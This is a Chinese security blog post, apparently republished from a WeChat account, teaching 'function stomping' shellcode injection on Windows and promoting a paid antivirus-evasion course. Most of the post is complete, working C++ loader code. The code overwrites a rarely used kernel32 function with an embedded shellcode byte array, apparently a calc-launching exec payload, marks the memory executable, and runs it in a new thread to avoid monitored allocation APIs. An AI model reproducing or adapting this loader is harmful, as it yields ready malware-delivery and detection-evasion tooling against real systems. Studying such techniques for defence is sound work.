函数篡改注入

admin 2024年12月17日14:54:21评论6 views字数 5437阅读18分7秒阅读模式

欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新74+ PDF文档

加好友备注(星球)!!!

函数篡改注入
函数篡改注入
函数篡改注入
函数篡改注入
函数篡改注入

简介

本地函数篡改注入指的是通过篡改或替代代码中的本地函数,来达到执行任意代码或修改程序行为的目的,这种方式避免了我们使用VirtualAlloc等高度监视的函数。就和我们上上节课讲的映射注入一样,通过将文件映射对象映射到内存,然后创建一个线程去执行其shellcode内存区域执行。

选择相应的函数

如果我们要来篡改一个API函数的话,我们首先要想到的是这个函数是不是经常使用的,如果是一个经常使用的函数,我们将其如果篡改了,那么可能会造成进程崩溃等问题,所以我们一般不会篡改ntdll.dll kernelbase.dll等模块的导出函数。

我们尽可能的去找一些用的很少的函数。

如下列举出很少使用的API函数。

Wow64DisableWow64FsRedirection描述:该函数用于禁用当前线程的WOW64文件系统重定向。所在DLL:Kernel32.dllGetNamedPipeClientProcessId描述:该函数返回连接到命名管道的客户端进程的进程标识符(PID)。所在DLL:Kernel32.dllSetThreadStackGuarantee描述:设置保证给线程的栈大小。所在DLL:Kernel32.dllGetSystemTimes描述:检索系统的空闲时间、内核时间和用户时间。所在DLL:Kernel32.dllGdiFlush描述:强制 GDI 刷新其批处理队列。所在DLL:Gdi32.dllSHGetPropertyStoreForWindow描述:获取与指定窗口关联的属性存储。所在DLL:Shell32.dll

篡改函数示例

那么我们如何去篡改目标函数呢?

这里我们选择Wow64DisableWow64FsRedirection函数,这个函数是从kernel32.dll中导出的,因为进程会默认加载kernel32.dll,所以这里就不需要使用LoadLibrary去加载DLL了,所以直接使用GetModuleHandle来获取即可。

// Func_Test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>int main(){    PVOID pAddress = NULL;    HMODULE hm = GetModuleHandleA("kernel32.dll");    pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");    printf("1231231321");}
函数篡改注入

现在我们已经获取到了要篡改的目标函数了。

然后我们需要使用VirtualProtect将目标函数的内存区域更改为可读可写的权限,然后将其shellcode写入到该内存区域。

// Func_Test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <iostream>unsigned char shellcode[] = {    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00};int main(){    PVOID pAddress = NULL;    DWORD dwOldProtection = NULL;    HMODULE hm = GetModuleHandleA("kernel32.dll");    pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");    VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);    printf("1231231321");}
函数篡改注入
然后我们将其shellcode放进去。
memcpy(pAddress, shellcode, sizeof(shellcode));
函数篡改注入
紧接着再将这块内存区域更改为可读可写可执行的权限。
VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
最后创建一个线程指向这块shellcode内存区域就可以执行了。
 hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL); if (hThread != NULL)        WaitForSingleObject(hThread, INFINITE);
如下完整代码:
// Func_Test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <stdio.h>#include <Windows.h>unsigned char shellcode[] = {    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00};int main(){    PVOID pAddress = NULL;    DWORD dwOldProtection = NULL;    HANDLE hthread = NULL;    HMODULE hm = GetModuleHandleA("kernel32.dll");    pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");    VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);    memcpy(pAddress, shellcode, sizeof(shellcode));    VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);    hthread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);    if (hthread != NULL)        WaitForSingleObject(hthread, INFINITE);    printf("1231231321");}
可以看到成功执行:
函数篡改注入
本文就先到这里期待和您的下次相遇!!!

原文始发于微信公众号(Relay学安全):函数篡改注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日14:54:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   函数篡改注入https://cn-sec.com/archives/3518715.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息